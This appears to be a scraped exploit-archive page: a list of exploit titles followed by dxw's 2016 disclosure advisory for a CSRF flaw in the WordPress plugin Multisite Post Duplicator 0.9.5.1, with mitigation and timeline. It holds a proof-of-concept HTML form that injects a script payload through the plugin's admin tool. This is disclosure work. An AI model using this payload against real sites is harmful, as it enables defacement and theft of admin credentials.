b080c70f8b
7 new exploits Microsoft Internet Explorer 9 IEFRAME - CSelectionInteractButtonBehavior::_UpdateButtonLocation Use-After-Free (MS13-047) Xitami Web Server 5.0a0 - Denial of Service OpenSSL 1.1.0a/1.1.0b - Denial of Service Serva 3.0.0 HTTP Server - Denial of Service iOS 10.1.x - Certificate File Memory Corruption OpenBSD 4.0 - (vga) Privilege Escalation OpenBSD 4.0 - 'vga' Privilege Escalation 10-Strike Network File Search Pro 2.3 - SEH Local Buffer Overflow MyBloggie 2.1.4 - (trackback.php) Multiple SQL Injections MyBloggie 2.1.4 - 'trackback.php' Multiple SQL Injections AShop Deluxe 4.x - (catalogue.php cat) SQL Injection AShop Deluxe 4.x - 'catalogue.php' SQL Injection HIOX Banner Rotator 1.3 - (hm) Remote File Inclusion HIOX Banner Rotator 1.3 - 'hm' Parameter Remote File Inclusion CAT2 - (spaw_root) Local File Inclusion CAT2 - 'spaw_root' Parameter Local File Inclusion MyBloggie 2.1.3 - search.php SQL Injection MyBloggie 2.1.2/2.1.3 - upload.php Multiple Parameter Cross-Site Scripting MyBloggie 2.1.2/2.1.3 - delcomment.php Multiple Parameter Cross-Site Scripting MyBloggie 2.1.2/2.1.3 - deluser.php 'id' Parameter Cross-Site Scripting MyBloggie 2.1.2/2.1.3 - addcat.php errormsg Parameter Cross-Site Scripting MyBloggie 2.1.2/2.1.3 - edituser.php errormsg Parameter Cross-Site Scripting MyBloggie 2.1.2/2.1.3 - adduser.php errormsg Parameter Cross-Site Scripting MyBloggie 2.1.2/2.1.3 - editcat.php errormsg Parameter Cross-Site Scripting MyBloggie 2.1.2/2.1.3 - add.php trackback_url Parameter Cross-Site Scripting MyBloggie 2.1.2/2.1.3 - delcat.php cat_id Parameter Cross-Site Scripting MyBloggie 2.1.2/2.1.3 - del.php post_id Parameter Cross-Site Scripting MyBloggie 2.1.2/2.1.3 - 'upload.php' Cross-Site Scripting MyBloggie 2.1.2/2.1.3 - 'delcomment.php' Cross-Site Scripting MyBloggie 2.1.2/2.1.3 - 'deluser.php' Cross-Site Scripting MyBloggie 2.1.2/2.1.3 - 'addcat.php' Cross-Site Scripting MyBloggie 2.1.2/2.1.3 - 'edituser.php' Cross-Site Scripting MyBloggie 2.1.2/2.1.3 - 'adduser.php' Cross-Site Scripting MyBloggie 2.1.2/2.1.3 - 'editcat.php' Cross-Site Scripting MyBloggie 2.1.2/2.1.3 - 'trackback_url' Parameter Cross-Site Scripting MyBloggie 2.1.2/2.1.3 - 'delcat.php' Cross-Site Scripting MyBloggie 2.1.2/2.1.3 - 'del.php' Cross-Site Scripting MyBloggie 2.1.x - Multiple Remote File Inclusion MyBloggie 2.1.x - MyBloggie_Root_Path Parameter Multiple Remote File Inclusion MyBloggie 2.1.x - 'MyBloggie_Root_Path' Parameter Remote File Inclusion AShop Deluxe 4.5 - ashop/catalogue.php Multiple Parameter Cross-Site Scripting AShop Deluxe 4.5 - ashop/basket.php cat Parameter Cross-Site Scripting AShop Deluxe 4.5 - ashop/search.php SearchString Parameter Cross-Site Scripting AShop Deluxe 4.5 - shipping.php Multiple Parameter Cross-Site Scripting AShop Deluxe 4.5 - admin/editcatalogue.php cat Parameter Cross-Site Scripting AShop Deluxe 4.5 - admin/salesadmin.php resultpage Parameter Cross-Site Scripting AShop Deluxe 4.5 - 'catalogue.php' Cross-Site Scripting AShop Deluxe 4.5 - 'basket.php' Cross-Site Scripting AShop Deluxe 4.5 - 'search.php' Cross-Site Scripting AShop Deluxe 4.5 - 'shipping.php' Cross-Site Scripting AShop Deluxe 4.5 - 'editcatalogue.php' Cross-Site Scripting AShop Deluxe 4.5 - 'salesadmin.php' Cross-Site Scripting MyBloggie 2.1.5 - 'index.php' PATH_INFO Parameter Cross-Site Scripting MyBloggie 2.1.5 - 'index.php' Cross-Site Scripting MyBloggie 2.1.5 - 'login.php' PATH_INFO Parameter Cross-Site Scripting MyBloggie 2.1.5 - 'login.php' Cross-Site Scripting Smart Guard Network Manager 6.3.2 - SQL Injection WordPress Plugin Multisite Post Duplicator 0.9.5.1 - Cross-Site Request Forgery
64 lines
No EOL
2.5 KiB
HTML
Executable file
64 lines
No EOL
2.5 KiB
HTML
Executable file
<!--
|
|
Details
|
|
================
|
|
Software: Multisite Post Duplicator
|
|
Version: 0.9.5.1
|
|
Homepage: http://wordpress.org/plugins/multisite-post-duplicator/
|
|
Advisory report: https://security.dxw.com/advisories/csrf-vulnerability-in-multisite-post-duplicator-could-allow-an-attacker-to-do-almost-anything-an-admin-user-can-do/
|
|
CVE: Awaiting assignment
|
|
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)
|
|
|
|
Description
|
|
================
|
|
CSRF vulnerability in Multisite Post Duplicator could allow an attacker to do almost anything an admin user can do
|
|
|
|
Vulnerability
|
|
================
|
|
Contains a CSRF vulnerability which can copy content from one site of a multisite installation to another.
|
|
This could be used to add arbitrary HTML to the front-end of the site (which could be used for defacement, harvesting login credentials from authenticated users, or could be used to do virtually anything a logged-in admin user can do).
|
|
This could also be used to view content not meant to be published.
|
|
|
|
Proof of concept
|
|
================
|
|
Some of these values may need adjusting depending on the post IDs, blog IDs, etc.
|
|
-->
|
|
|
|
<form method=\"POST\" action=\"http://localhost/wp-admin/tools.php?page=mpd\">
|
|
<input type=\"text\" name=\"mpd-post-status\" value=\"draft\">
|
|
<input type=\"text\" name=\"mdp-prefix\" value=\"<script>alert(1)</script>\">
|
|
<input type=\"text\" name=\"action\" value=\"add_foobar\">
|
|
<input type=\"text\" name=\"el0\" value=\"post\">
|
|
<input type=\"text\" name=\"el1\" value=\"1\">
|
|
<input type=\"text\" name=\"el2\" value=\"1\">
|
|
<input type=\"text\" name=\"el3\" value=\"1\">
|
|
<input type=\"text\" name=\"duplicate-submit\" value=\"Duplicate\">
|
|
<input type=\"submit\">
|
|
</form>
|
|
|
|
<!--
|
|
Mitigations
|
|
================
|
|
Update to version 1.1.3 or later.
|
|
|
|
Disclosure policy
|
|
================
|
|
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/
|
|
|
|
Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.
|
|
|
|
This vulnerability will be published if we do not receive a response to this report with 14 days.
|
|
|
|
Timeline
|
|
================
|
|
|
|
2016-11-01: Discovered
|
|
2016-12-07: Tested version 1.1.3 and found the plugin no longer vulnerable to the attack as described
|
|
2016-12-09: Advisory published
|
|
|
|
|
|
|
|
Discovered by dxw:
|
|
================
|
|
Tom Adams
|
|
Please visit security.dxw.com for more information.
|
|
--> |